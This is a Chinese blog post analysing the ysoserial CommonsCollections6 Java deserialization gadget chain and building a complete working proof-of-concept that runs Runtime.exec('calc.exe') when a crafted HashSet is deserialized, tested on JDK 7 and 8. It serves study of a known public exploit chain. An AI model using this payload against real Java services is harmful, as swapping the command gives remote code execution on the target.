ysoserial CommonsColletions6分析

CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法。

TiedMapEntry#hashCode

在CC5中,通过的是TiedMapEntry的toString调用到的LazyMap的get方法,而CC6则是通过TiedMapEntry的hashCode方法

image-20210710172147902

此处hashCode会调用getValue方法,getValue就调用到了LazyMap的get方法

image-20210710172240299

接下来我们要找的就是哪里调用了TiedMapEntry#hashCode

HashMap#put

HashMap每次进行put的时候,会计算 keyhash

image-20210710172744443

进入到hash方法,看到调用了hashcode

image-20210710172820834

hashSet#readObject

hashSet作为反序列化入口,在重写的readObject中调用了map.put

image-20210710173431028

此处的map是在readObject中第299-301行进行的赋值

image-20210710173523810

这个代码其实判断this是不是LinkedHashSet,不是的话就返回HashMap类型的对象

综合以上,map值为HashMap即可调用put

构造poc

前面的写法都一样,lazyMap传入了TiedMapEntry中

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
        TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx");

通过hashSet.add把mapEntry加入进hashSet

HashSet hashSet = new HashSet(1);
hashSet.add(mapEntry);

到这里就已经构造完了,但是会发现poc在执行反序列化的时候无法弹出计算器,原因是在LazyMap的get方法中

image-20210710175425859

这句话的意思是判断有没有key,有key的话则不会执行if里面的方法。

查找key传入路径发现,这里的key是在TiedMapEntry#getValue中传入的

image-20210710175655911

而这个key则是在构造方法中进行的赋值

image-20210710175833369

也就是之前操作时候,传入的"xxx"

image-20210710175957126

由于在hashSet.add的时候,会调用一遍TiedMapEntry#getValue把key传入了进去

所以我们只需要在add之后,把lazyMap里面的key给remove就可以了

image-20210710180400221

整个POC就构造出来了

public class payload01 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
        TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx");

        HashSet hashSet = new HashSet(1);
        hashSet.add(mapEntry);

        lazyMap.remove("xxx");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();

//        System.out.println(barr);
//        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

和CC5一样,如果要在CommonsCollections4.0版本中使用的话,需要把poc中的lazymap传值方式改变下就行了!

image-20210710170229870

测试环境在JDK1.7和1.8,CommonsCollections3.1-3.21,4.0均测试成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值